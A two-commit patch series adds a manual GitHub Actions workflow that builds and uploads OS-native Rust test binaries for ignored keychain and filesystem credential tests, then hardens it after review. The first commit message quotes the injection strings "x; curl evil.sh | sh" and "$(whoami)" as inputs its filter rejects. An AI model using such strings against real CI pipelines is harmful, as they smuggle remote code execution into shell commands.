From 5c1c62d4b8fd986aa36bce0e56e7ad6aae78c38e Mon Sep 17 00:00:00 2001 From: baladithyab Date: Sun, 16 Aug 2026 17:52:37 -0700 Subject: [PATCH 1/2] ci: add a manual OS-native test binary job Two credential tests are #[ignore]d and env-gated, and the CI matrix never passes -- --ignored nor sets AUDIO_GRAPH_RUN_OS_KEYCHAIN_SMOKE or AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR, so neither has executed anywhere: credentials::tests::os_keychain_smoke_save_import_delete_tombstone_and_redaction credentials::filesystem_policy::windows::tests::native_metadata_smoke_uses_only_closed_observations Build the --lib test binary for one OS per dispatch, upload it with its sidecar libraries and a generated RUN.md, and attempt the test on the runner non-blocking. The artifact matters because the Windows test asserts internal_fixed, identity_stable, and access_controls_enforced -- storage-class properties a runner's virtual disk may classify differently from a real internal disk, so green on CI is a weaker claim than green on hardware. Fail loudly when the filter matches no ignored test: a silent zero-match would reproduce the exact gap this job exists to close. The Windows test lives only on the credential-v2 branches, hence the ref input. workflow_dispatch only, never a PR gate, so it costs money only when asked. Inputs reach run: through env and the filter is charset-validated, so a crafted filter cannot inject shell. Validated locally without a CI run: actionlint clean; jq resolves exactly one test binary; the assertion passes on os_keychain_smoke and fails on native_metadata_smoke; the guard rejects "x; curl evil.sh | sh" and "$(whoami)"; Windows backslash escaping renders correctly. Co-Authored-By: Claude Opus 5 (1M context) --- .github/workflows/os-native-test-binaries.yml | 248 ++++++++++++++++++ 1 file changed, 248 insertions(+) create mode 100644 .github/workflows/os-native-test-binaries.yml diff --git a/.github/workflows/os-native-test-binaries.yml b/.github/workflows/os-native-test-binaries.yml new file mode 100644 index 00000000..5676e567 --- /dev/null +++ b/.github/workflows/os-native-test-binaries.yml @@ -0,0 +1,248 @@ +# OS-native test binaries — manual, cost-gated evidence job. +# +# Why this exists: two credential tests are `#[ignore]`d AND env-gated, and the +# regular CI matrix never passes `-- --ignored` nor sets their env vars, so they +# have never executed anywhere: +# +# credentials::tests::os_keychain_smoke_save_import_delete_tombstone_and_redaction +# gate: AUDIO_GRAPH_RUN_OS_KEYCHAIN_SMOKE=1 (needs a real OS keychain) +# credentials::filesystem_policy::windows::tests::native_metadata_smoke_uses_only_closed_observations +# gate: AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR (needs real Win32 + NTFS) +# +# This builds the `--lib` test binary for ONE OS, uploads it as an artifact, and +# also attempts the test on the runner. Two independent signals per run: +# +# 1. The runner attempt shows how the test behaves on virtualized CI storage / +# a CI keychain. Non-blocking — a failure here is data, not a defect. +# 2. The downloaded binary re-runs unlimited times on real hardware (real +# internal fixed NTFS, a real login keychain) at zero further cost. +# +# (2) matters for the Windows test specifically: it asserts `internal_fixed`, +# `identity_stable`, and `access_controls_enforced` — storage-CLASS properties. +# A runner's virtual disk may legitimately classify differently from a real +# internal SSD, so green on CI is not the same claim as green on hardware. +# +# One OS per dispatch, deliberately: you pay for exactly the platform you asked +# for, and the two tests currently live on different refs (see the `ref` input). +# Dispatch twice to cover both. +# +# NEVER a PR gate. `workflow_dispatch` only, so it costs money only when asked. +# +# Third-party actions are SHA-pinned with a trailing `# vN` comment, matching +# ci.yml, so Dependabot can bump them without losing reproducibility. + +name: OS-native test binaries + +on: + workflow_dispatch: + inputs: + os: + description: Which OS to build the test binary for + type: choice + options: [windows, macos] + required: true + ref: + description: >- + Ref to build. NOTE: the Windows filesystem test lives only on the + credential-v2 branches (work/audio-graph-cred-v2-integration, + work/audio-graph-12c4-windows-credential-manager, ...). master has the + keychain test but NOT filesystem_policy/windows.rs. + type: string + default: master + test_filter: + description: >- + Override the ignored-test filter. Blank uses the per-OS default + (native_metadata_smoke on Windows, os_keychain_smoke on macOS). + type: string + default: "" + run_on_runner: + description: Also attempt the test on the CI runner (non-blocking) + type: boolean + default: true + +permissions: + contents: read + +env: + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + +jobs: + test-binary: + name: Test binary (${{ inputs.os }} @ ${{ inputs.ref }}) + runs-on: >- + ${{ inputs.os == 'windows' + && 'blacksmith-4vcpu-windows-2025' + || 'blacksmith-6vcpu-macos-15' }} + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v5 + with: + ref: ${{ inputs.ref }} + + # rsac is a SHA-pinned git dependency on every current branch, so unlike + # ci.yml's older jobs this needs no sibling checkout. + - uses: dtolnay/rust-toolchain@e081816240890017053eacbb1bdf337761dc5582 # 1.95.0 + - uses: Swatinem/rust-cache@42dc69e1aa15d09112580998cf2ef0119e2e91ae # v2 + with: + workspaces: src-tauri + + - name: Install macOS system dependencies + if: inputs.os == 'macos' + run: brew list cmake >/dev/null 2>&1 || brew install cmake + + - uses: ilammy/msvc-dev-cmd@0b201ec74fa43914dc39ae48a89fd1d8cb592756 # v1 + if: inputs.os == 'windows' + + # Inputs reach `run:` through env, never `${{ }}` interpolation, so a + # crafted filter cannot inject shell. See + # https://github.blog/security/vulnerability-research/how-to-catch-github-actions-workflow-injections-before-attackers-do/ + - name: Resolve per-OS gates and filter + shell: bash + env: + TARGET_OS: ${{ inputs.os }} + INPUT_FILTER: ${{ inputs.test_filter }} + run: | + case "$TARGET_OS" in + windows) + default_filter=native_metadata_smoke + smoke_dir='C:\ag-smoke' + keychain_gate="" + run_env="AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR='C:\\ag-smoke'" + run_note="Create the directory first (mkdir C:\\ag-smoke) on an internal fixed NTFS volume. Never inside a OneDrive-synced tree - the detector then reports os_managed_cloud_root and the test correctly fails." + ;; + macos) + default_filter=os_keychain_smoke + smoke_dir="" + keychain_gate=1 + run_env="AUDIO_GRAPH_RUN_OS_KEYCHAIN_SMOKE=1" + run_note="Artifact upload drops the exec bit and browser downloads are quarantined, so first run chmod +x and xattr -d com.apple.quarantine. Needs a real unlocked login keychain (a GUI session, not SSH). The test scopes itself to a UUID service name and cleans up via ScopedOsKeychainCleanup." + ;; + *) + echo "::error::unsupported os: $TARGET_OS"; exit 1 ;; + esac + + filter="$INPUT_FILTER" + [ -n "$filter" ] || filter="$default_filter" + # A cargo test filter never needs more than a test-path token. + case "$filter" in + *[!A-Za-z0-9_:-]*) + echo "::error::test_filter must match [A-Za-z0-9_:-]+ (got: $filter)" + exit 1 ;; + esac + + { + echo "TEST_FILTER=$filter" + echo "SMOKE_DIR=$smoke_dir" + echo "KEYCHAIN_GATE=$keychain_gate" + echo "RUN_ENV=$run_env" + echo "RUN_NOTE=$run_note" + } >> "$GITHUB_ENV" + echo "Using ignored-test filter: $filter" + + - name: Build lib test binary + shell: bash + working-directory: src-tauri + run: | + cargo test --locked --no-default-features --features cloud \ + --lib --no-run --message-format=json > cargo-test-build.json + + # The unittest binary is the lib-kind artifact built in test profile. + bin=$(jq -r 'select(.reason=="compiler-artifact") + | select(.profile.test==true) + | select(.target.kind[]=="lib") + | .executable' cargo-test-build.json | tail -1) + [ -n "$bin" ] && [ "$bin" != "null" ] \ + || { echo "::error::could not resolve the lib test binary from cargo JSON"; exit 1; } + + # cargo emits native paths; git bash needs forward slashes on Windows. + bin="${bin//\\//}" + [ -f "$bin" ] || { echo "::error::resolved binary does not exist: $bin"; exit 1; } + echo "TEST_BIN=$bin" >> "$GITHUB_ENV" + echo "Built: $bin" + + # The whole point of this job is that these tests run nowhere today. A + # filter matching zero tests would reproduce that silence while reporting + # green, so fail loudly instead. + - name: Assert the filter matches an ignored test + shell: bash + working-directory: src-tauri + env: + BUILD_REF: ${{ inputs.ref }} + TARGET_OS: ${{ inputs.os }} + run: | + "$TEST_BIN" --ignored --list > ignored-tests.txt 2>&1 || true + if grep -F "$TEST_FILTER" ignored-tests.txt; then + echo "--- all ignored tests on this ref/OS ---" + cat ignored-tests.txt + else + echo "::error::no ignored test matches '$TEST_FILTER' on ref '$BUILD_REF' ($TARGET_OS)." + echo "::error::the Windows filesystem test exists only on the credential-v2 branches." + echo "--- ignored tests actually present ---" + cat ignored-tests.txt + exit 1 + fi + + - name: Stage binary, sidecar libraries, and run instructions + shell: bash + working-directory: src-tauri + env: + BUILD_REF: ${{ inputs.ref }} + TARGET_OS: ${{ inputs.os }} + run: | + mkdir -p dist + cp "$TEST_BIN" dist/ + # A bare test exe can fail to load if the crate links sidecar libs + # (WebView2Loader.dll and friends). Ship them alongside it. + for f in target/debug/*.dll target/debug/*.dylib \ + target/debug/deps/*.dll target/debug/deps/*.dylib; do + [ -e "$f" ] && cp "$f" dist/ + done + cp ignored-tests.txt dist/ + + binname=$(basename "$TEST_BIN") + { + echo "# $binname" + echo + echo "ref \`$BUILD_REF\` | os \`$TARGET_OS\` | filter \`$TEST_FILTER\`" + echo + echo "Keep the sidecar libraries in this directory next to the binary." + echo "\`ignored-tests.txt\` lists every ignored test this binary contains." + echo + echo '## Run' + echo + echo '```bash' + echo "$RUN_ENV \\" + echo " ./$binname --ignored --nocapture --test-threads=1 $TEST_FILTER" + echo '```' + echo + echo "$RUN_NOTE" + } > dist/RUN.md + + cat dist/RUN.md + ls -la dist/ + + - name: Upload test binary + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: os-native-test-binary-${{ inputs.os }} + if-no-files-found: error + retention-days: 14 + path: src-tauri/dist/ + + # Non-blocking. On Windows this runs against the runner's VIRTUAL disk, so + # a storage-class assertion failure is expected-and-informative rather than + # a defect: it is exactly why the artifact above exists. + - name: Attempt the test on the runner (non-blocking) + if: inputs.run_on_runner + continue-on-error: true + shell: bash + working-directory: src-tauri + env: + AUDIO_GRAPH_RUN_OS_KEYCHAIN_SMOKE: ${{ env.KEYCHAIN_GATE }} + AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR: ${{ env.SMOKE_DIR }} + run: | + if [ -n "$AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR" ]; then + mkdir -p "$(cygpath -u "$AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR")" + echo "Runner smoke dir: $AUDIO_GRAPH_WINDOWS_FILESYSTEM_SMOKE_DIR (virtualized CI storage)" + fi + "$TEST_BIN" --ignored --nocapture --test-threads=1 "$TEST_FILTER" From 57d81858f7529efafb799fa361fbcf7deac3576e Mon Sep 17 00:00:00 2001 From: baladithyab Date: Sun, 16 Aug 2026 22:19:53 -0700 Subject: [PATCH 2/2] ci: address review findings on the OS-native test binary job MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Codex P1 — embed the Windows test manifest at build time. build.rs:64 reads AUDIOGRAPH_EMBED_WINDOWS_TEST_MANIFEST during the build and emits /MANIFEST:EMBED plus /MANIFESTINPUT link args. Because --no-run IS the build, omitting it left the debug MSVC harness unmanifested, which can abort during process loading; the list assertion would then fail before anything was staged, defeating the whole Windows evidence path. It is debug-only and build.rs panics on release, so setting it for the windows build is safe. Codex P2 — record the resolved commit. `ref` accepts mutable branch names, so capture git rev-parse HEAD and put the immutable SHA in RUN.md and the artifact name. A downloaded binary can now be tied to the exact implementation it tested after the branch moves. CodeRabbit — do not mask the list exit status. `|| true` meant a binary that could not start (a missing sidecar library, the very risk this job ships sidecars for) surfaced as "no ignored test matches", blaming the ref and OS for the wrong reason. Report a failed list separately. CodeRabbit — json-render-diagnostics, so compiler errors stay readable on stderr instead of being buried in the redirected JSON. Verified locally that the artifact query still resolves exactly one binary and the JSON now carries zero compiler-message entries. CodeRabbit — timeout-minutes 90 and a per-OS concurrency group, so a hung build cannot burn to the 6-hour default on paid runners and repeat dispatches serialize. 90m leaves room for a cold Windows build; never cancel-in-progress because a live run is already spending minutes to produce evidence. CodeRabbit — persist-credentials: false. No step pushes, and later steps run build output from an arbitrary ref, so GITHUB_TOKEN should not sit in .git/config. Validated: actionlint clean; json-render-diagnostics parsing unchanged (1 candidate); the new list-failure path reports exit 127 against the binary rather than the ref. Co-Authored-By: Claude Opus 5 (1M context) --- .github/workflows/os-native-test-binaries.yml | 54 +++++++++++++++++-- 1 file changed, 51 insertions(+), 3 deletions(-) diff --git a/.github/workflows/os-native-test-binaries.yml b/.github/workflows/os-native-test-binaries.yml index 5676e567..2ecf0c8c 100644 --- a/.github/workflows/os-native-test-binaries.yml +++ b/.github/workflows/os-native-test-binaries.yml @@ -63,6 +63,13 @@ on: permissions: contents: read +# Serialize dispatches per OS so two runs cannot race the same cache, and let +# the two OSes proceed independently. Never cancel: a run in flight is spending +# paid runner minutes to produce evidence. +concurrency: + group: os-native-test-binaries-${{ inputs.os }} + cancel-in-progress: false + env: CARGO_TERM_COLOR: always RUST_BACKTRACE: 1 @@ -70,6 +77,9 @@ env: jobs: test-binary: name: Test binary (${{ inputs.os }} @ ${{ inputs.ref }}) + # Paid runners: a hung cargo build or a hung ignored test would otherwise + # burn to the 6-hour default. 90m leaves room for a cold Windows build. + timeout-minutes: 90 runs-on: >- ${{ inputs.os == 'windows' && 'blacksmith-4vcpu-windows-2025' @@ -78,6 +88,21 @@ jobs: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v5 with: ref: ${{ inputs.ref }} + # No step here pushes, and later steps run build output from an + # arbitrary ref, so do not leave GITHUB_TOKEN in .git/config. + persist-credentials: false + + # `ref` may be a mutable branch, so pin the exact commit into the + # artifact. Otherwise a downloaded binary cannot be tied to the + # implementation it tested once the branch advances. + - name: Record resolved source commit + shell: bash + env: + BUILD_REF: ${{ inputs.ref }} + run: | + sha=$(git rev-parse HEAD) + echo "SOURCE_SHA=$sha" >> "$GITHUB_ENV" + echo "Resolved $BUILD_REF -> $sha" # rsac is a SHA-pinned git dependency on every current branch, so unlike # ci.yml's older jobs this needs no sibling checkout. @@ -142,9 +167,20 @@ jobs: - name: Build lib test binary shell: bash working-directory: src-tauri + env: + # build.rs reads this at BUILD time and emits /MANIFEST:EMBED plus + # /MANIFESTINPUT link args (src-tauri/build.rs:64). Without it an + # unmanifested debug MSVC test harness can abort during process + # loading, so the binary would fail to list its tests and never get + # staged. It is debug-profile-only and build.rs panics on release, + # which is why it can be set unconditionally for the windows build. + AUDIOGRAPH_EMBED_WINDOWS_TEST_MANIFEST: ${{ inputs.os == 'windows' && '1' || '' }} run: | + # json-render-diagnostics keeps compiler errors readable on stderr + # while the JSON artifact records still land on stdout. cargo test --locked --no-default-features --features cloud \ - --lib --no-run --message-format=json > cargo-test-build.json + --lib --no-run --message-format=json-render-diagnostics \ + > cargo-test-build.json # The unittest binary is the lib-kind artifact built in test profile. bin=$(jq -r 'select(.reason=="compiler-artifact") @@ -170,7 +206,16 @@ jobs: BUILD_REF: ${{ inputs.ref }} TARGET_OS: ${{ inputs.os }} run: | - "$TEST_BIN" --ignored --list > ignored-tests.txt 2>&1 || true + # Do not mask the exit status: if the binary cannot start (a missing + # sidecar library, for instance) grep would find nothing and the + # message below would blame the ref and OS for the wrong reason. + list_status=0 + "$TEST_BIN" --ignored --list > ignored-tests.txt 2>&1 || list_status=$? + if [ "$list_status" -ne 0 ]; then + echo "::error::the test binary failed to list its tests (exit $list_status) — it likely could not start" + cat ignored-tests.txt + exit 1 + fi if grep -F "$TEST_FILTER" ignored-tests.txt; then echo "--- all ignored tests on this ref/OS ---" cat ignored-tests.txt @@ -205,6 +250,9 @@ jobs: echo echo "ref \`$BUILD_REF\` | os \`$TARGET_OS\` | filter \`$TEST_FILTER\`" echo + echo "Built from commit \`$SOURCE_SHA\`. Cite that SHA, not the branch" + echo "name, when recording this run as evidence — the branch moves." + echo echo "Keep the sidecar libraries in this directory next to the binary." echo "\`ignored-tests.txt\` lists every ignored test this binary contains." echo @@ -224,7 +272,7 @@ jobs: - name: Upload test binary uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: - name: os-native-test-binary-${{ inputs.os }} + name: os-native-test-binary-${{ inputs.os }}-${{ env.SOURCE_SHA }} if-no-files-found: error retention-days: 14 path: src-tauri/dist/